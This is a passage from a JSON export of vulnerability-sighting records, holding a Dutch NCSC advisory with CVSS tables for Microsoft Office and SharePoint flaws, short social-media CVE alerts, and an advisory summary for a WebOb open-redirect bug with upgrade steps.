CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-22T01:00:47.321817Z"}, {"uuid": "67259cd6-d2e3-4e90-b865-51faaa00d8e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\nMicrosoft heeft in een update bevestigd dat SharePoint kwetsbaarheid CVE-2026-58644 actief als zeroday is misbruikt. Het NCSC raadt aan kwetsbare SharePoint systemen zo snel mogelijk te updaten naar de nieuwste versie om misbruik te voorkomen.\n\nDe kwetsbaarheid CVE-2026-58644 betreft een deserialization-kwetsbaarheid welke misbruik zou kunnen worden om op afstand code uit te voeren. \n\nMogelijk is de kwetsbaarheid CVE-2026-58644 in combinatie met SharePoint-kwetsbaarheid CVE-2026-56164 door kwaadwillende te misbruiken om zonder authenticatie op afstand code uit te voeren. \n\nDe kwetsbaarheid CVE-2026-56164 betreft een privilegeescalation-kwetsbaarheid, deze zou misbruikt kunnen worden om rechten binnen een netwerk te verhogen.\n\nUPDATE:\nVolgens watchTowr is er een publieke exploit code voor SharePoint kwetsbaarheid CVE-2026-50522 gepubliceerd en wordt deze op on-premise versies van  SharePoint nu ook actief misbruikt. Kwaadwillenden kunnen deze kwetsbaarheid misbruiken om zichzelf voor langere termijn toegang tot netwerken van kwetsbare systemen te verschaffen, door middel van het stelen van machine-keys. \n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-22T01:00:49.168208Z"}, {"uuid": "0f906edd-c594-487d-aba9-15a66a35e529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54614", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-54614", "content": "", "creation_timestamp": "2026-08-26T20:15:06.141624Z"}, {"uuid": "b03a024d-5b23-4b77-aefa-47003ec550a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54917.yaml", "content": "", "creation_timestamp": "2026-08-25T00:00:10.301364Z"}, {"uuid": "0ff2966b-400a-4d21-8b36-623382358239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr7ki7xpng23", "content": "\ud83d\udccc CVE-2026-54121 - Improper authorization in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges over a network. https://www.cyberhub.blog/cves/CVE-2026-54121", "creation_timestamp": "2026-07-22T05:07:07.664761Z"}, {"uuid": "e5534a22-5edd-46d4-88be-0489ca23d63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54128", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mra3ao7jx72m", "content": "\ud83d\udccc CVE-2026-54128 - Use after free in Windows DHCP Client allows an unauthorized attacker to execute code locally. https://www.cyberhub.blog/cves/CVE-2026-54128", "creation_timestamp": "2026-07-22T10:07:07.634646Z"}, {"uuid": "337617d1-365b-4948-ac3a-04390edfd4b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54478", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrajplbshj2s", "content": "CVE-2026-54478 - DNS Cookie bypass when combined with proxy-protocol use\nCVE ID : CVE-2026-54478\n \n Published : July 22, 2026, 1:09 p.m. | 36\u00a0minutes ago\n \n Description : In NLnet Labs Unbound 1.18.0 up to and including 1.25.1, when Unbound listens on a 'proxy-protocol-port' i...", "creation_timestamp": "2026-07-22T14:25:59.950089Z"}, {"uuid": "5cb4aae7-f4da-4384-8ac7-811645239dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54159", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mrandi7rv32l", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-54159) PrestaShop Remote Code Execution via ps_facetedsearch Object Injection\".\n\n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-07-22T15:30:49.896244Z"}, {"uuid": "90f4ce39-71a0-4b40-959a-bfaabb2297d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54432", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mraqa7z4sj2c", "content": "CVE-2026-54432+more: Roundcube XSS/SSRF/etc prior to 1.6.17/1.7.2", "creation_timestamp": "2026-07-22T16:22:40.905048Z"}, {"uuid": "a83f6fd2-bceb-45dd-8dc9-2e9522812732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54051", "type": "seen", "source": "https://bsky.app/profile/gleephoenix.bsky.social/post/3mravyjetb32e", "content": "@cve.skyfleet.blue cve-2026-54051 network-ai command injection issue \u2014 Browser actions get scoped creds + action logs \u2014 the DOM surface is the real trust boundary. How are you scoping creds for in-page agents today? https://platform.gleephoenix.com/intake", "creation_timestamp": "2026-07-22T18:05:44.919878Z"}, {"uuid": "25b047db-6e4f-4779-be42-4cd16f678ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54512", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrbf5raw352v", "content": "\ud83d\udccc CVE-2026-54512 - jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, ... https://www.cyberhub.blog/cves/CVE-2026-54512", "creation_timestamp": "2026-07-22T22:37:07.953840Z"}, {"uuid": "bf8efcb8-34ef-435e-904e-fae751abd450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54513", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrbgtff3gn23", "content": "\ud83d\udccc CVE-2026-54513 - jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, ... https://www.cyberhub.blog/cves/CVE-2026-54513", "creation_timestamp": "2026-07-22T23:07:06.567848Z"}, {"uuid": "92e73524-4a1b-45f0-a883-9c4475a8476d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54836", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54836.yaml", "content": "", "creation_timestamp": "2026-07-23T00:00:08.519454Z"}, {"uuid": "27fed2a0-a187-4ae6-8811-a555a81c0b93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54770", "type": "seen", "source": "https://gist.github.com/alon710/3f2dc90a23f10e17e098821e66e18187", "content": "# CVE-2026-54770: CVE-2026-54770: Open Redirect via Parser Differential in WebOb\n\n> **CVSS Score:** 6.1\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54770\n\n## Summary\nAn open redirect vulnerability exists in WebOb before version 1.8.11 due to a parser differential between WebOb's validation logic and Python's standard urllib.parse.urljoin() function. Under Python 3.10+, the urljoin function strips leading and trailing space characters and C0 control characters, which allowed specially crafted inputs to bypass WebOb's prefix checks while still resolving as off-host redirects.\n\n## TL;DR\nA parser differential between WebOb and Python's urljoin on modern runtimes allows unauthenticated attackers to bypass open redirect protections using leading spaces or control characters.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-601\n- **Attack Vector**: Network\n- **CVSS v3.1**: 6.1 (Medium)\n- **EPSS Score**: 0.00339 (0.34%)\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n- **Impact**: Open Redirect / Phishing\n\n## Affected Systems\n\n- WebOb on Python 3.10+\n- **WebOb**: < 1.8.11 (Fixed in: `1.8.11`)\n\n## Mitigation\n\n- Upgrade the WebOb library to version 1.8.11 or later.\n- Implement application-layer validation to reject redirection inputs containing leading whitespace or control characters.\n- Deploy Web Application Firewall (WAF) filters to intercept and block anomalous redirection headers.\n\n**Remediation Steps:**\n1. Execute `pip install --upgrade webob` to pull the latest security release.\n2. Confirm requirements.txt or pipfile contains strict pinning of `webob>=1.8.11`.\n3. Verify redirection flows within legacy application code to ensure all redirect functions utilize the standardized validation paths.\n\n## References\n\n- [https://github.com/Pylons/webob/security/advisories/GHSA-6hx8-3wjj-gr8g](https://github.com/Pylons/webob/security/advisories/GHSA-6hx8-3wjj-gr8g)\n- [https://github.com/Pylons/webob/commit/ff89560643fb252751b4db8806a283b5377f1f07](https://github.com/Pylons/webob/commit/ff89560643fb252751b4db8806a283b5377f1f07)\n- [https://github.com/Pylons/webob/tree/1.8.11](https://github.com/Pylons/webob/tree/1.8.11)\n- [https://nvd.nist.gov/vuln/detail/CVE-2026-54770](https://nvd.nist.gov/vuln/detail/CVE-2026-54770)\n- [https://www.cve.org/CVERecord?id=CVE-2026-54770](https://www.cve.org/CVERecord?id=CVE-2026-54770)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54770) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-28T00:01:48.985383Z"}, {"uuid": "03634d64-3784-40ba-bd87-a80ecd819717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54745", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mu6eqb7fzk2b", "content": "\ud83d\udea8 CVE-2026-54745 \u2014 CVSS 10 CRITICAL\n\nKubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior t...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54745\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-28T22:07:09.744475Z"}, {"uuid": "411ce1e6-2f3e-4e8a-868a-af33b7cb91ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54755", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mu6eqrkko42m", "content": "\ud83d\udea8 CVE-2026-54755 \u2014 CVSS 9.6 CRITICAL\n\nKlever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, split-royalty fields...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54755\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-28T22:07:26.560994Z"}, {"uuid": "d25d2faa-182e-454c-973b-ab9c7f48101d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54754", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mu6eqjex2f2c", "content": "\ud83d\udea8 CVE-2026-54754 \u2014 CVSS 9.6 CRITICAL\n\nKlever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, marketplace settleme...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54754\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-28T22:07:18.134373Z"}, {"uuid": "200619b9-5556-4052-be99-f7a3131e8619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54917.yaml", "content": "", "creation_timestamp": "2026-08-26T00:00:09.889966Z"}, {"uuid": "4239582c-a46b-4c80-991d-b2d49b8de1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54569", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtzgtizrlp27", "content": "\ud83d\udd34 CVE-2026-54569 - Critical (9.8)\n\nSENAITE.CORE is the core framework for the SENAITE laboratory information management system. From...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54569/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-26T23:01:27.913218Z"}, {"uuid": "cb5fa038-e429-463e-89af-45b9558b499f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54770", "type": "published-proof-of-concept", "source": "https://github.com/Pylons/webob/security/advisories/GHSA-6hx8-3wjj-gr8g", "content": "", "creation_timestamp": "2026-08-28T00:35:03.475707Z"}, {"uuid": "801a631b-477c-4686-a435-02179a386497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54721", "type": "seen", "source": "https://gist.github.com/alon710/39b101902c398808f3c4258d20b82798", "content": "# CVE-2026-54721: CVE-2026-54721: Remote Code Execution via Server-Side Template Injection in Silverstripe UserForms\n\n> **CVSS Score:** 8.8\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54721\n\n## 